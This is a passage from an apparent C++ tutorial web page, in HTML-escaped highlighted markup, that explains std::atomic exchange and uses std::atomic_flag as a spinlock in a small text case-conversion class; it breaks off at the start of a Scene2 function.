&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ostream&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;operator&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ostream&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;MyType&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"{"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;", "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"}"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;DoCustomExchange&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MyType&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="n"&gt;MyType&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="n"&gt;MyType&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exchange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"a: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// a: {11, 21}&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"b: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// b: {11, 21}&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"c: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// c: {10, 20}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There’s big part dealing with memory ordering that we’ve simply skipped
for now, but we shall come back to it later. Let’s now focus on the most
important atomic type &lt;code class="language-plaintext highlighter-rouge"&gt;atomic_flag&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id="atomic_flag"&gt;atomic_flag&lt;/h3&gt;

&lt;p&gt;Forget whatever that has been said about atomic types so far. None of
that applies to &lt;code class="language-plaintext highlighter-rouge"&gt;std::atomic_flag&lt;/code&gt;. &lt;code class="language-plaintext highlighter-rouge"&gt;std::atomic_flag&lt;/code&gt; is different. You
can say that &lt;code class="language-plaintext highlighter-rouge"&gt;std::atomic_flag&lt;/code&gt; is the core of the threading library. Its
like the atom of the universe. Let’s start exploring &lt;code class="language-plaintext highlighter-rouge"&gt;std::atomic_flag&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let’s consider scenario. On your social network you get a lot of LOL
text that you just can’t understand. So, you decide to write a program
to convert that text either into a full uppercase or full lower case.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UnLOLText&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="n"&gt;UnLOLText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;srand&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;ToUpper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;toupper&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
            &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;ToLower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
            &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Reset&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;modify_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;friend&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ostream&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;operator&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ostream&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;UnLOLText&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nl"&gt;private:&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ostream&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;operator&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ostream&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;UnLOLText&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Scene1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;UnLOLText&lt;/span&gt; &lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"hEy How aRe yoU dOinG!"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ToUpper&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Serial upper: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Reset&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ToLower&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Serial lower: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Reset&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Output:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Serial upper: HEY HOW ARE YOU DOING!
Serial lower: hey how are you doing!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The amount of such LOL text you receive is huge. So obviously you want
to unLOL the the text concurrently.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UnLOLText&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="n"&gt;UnLOLText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ATOMIC_FLAG_INIT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;srand&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;ToUpper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;test_and_set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_seq_cst&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;toupper&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
            &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;thread_sleep&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_release&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;ToLower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;test_and_set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_seq_cst&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
            &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;thread_sleep&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_release&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Reset&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;modify_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;friend&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ostream&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;operator&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ostream&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;UnLOLText&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nl"&gt;private:&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;thread_sleep&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;microseconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic_flag&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Scene2&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
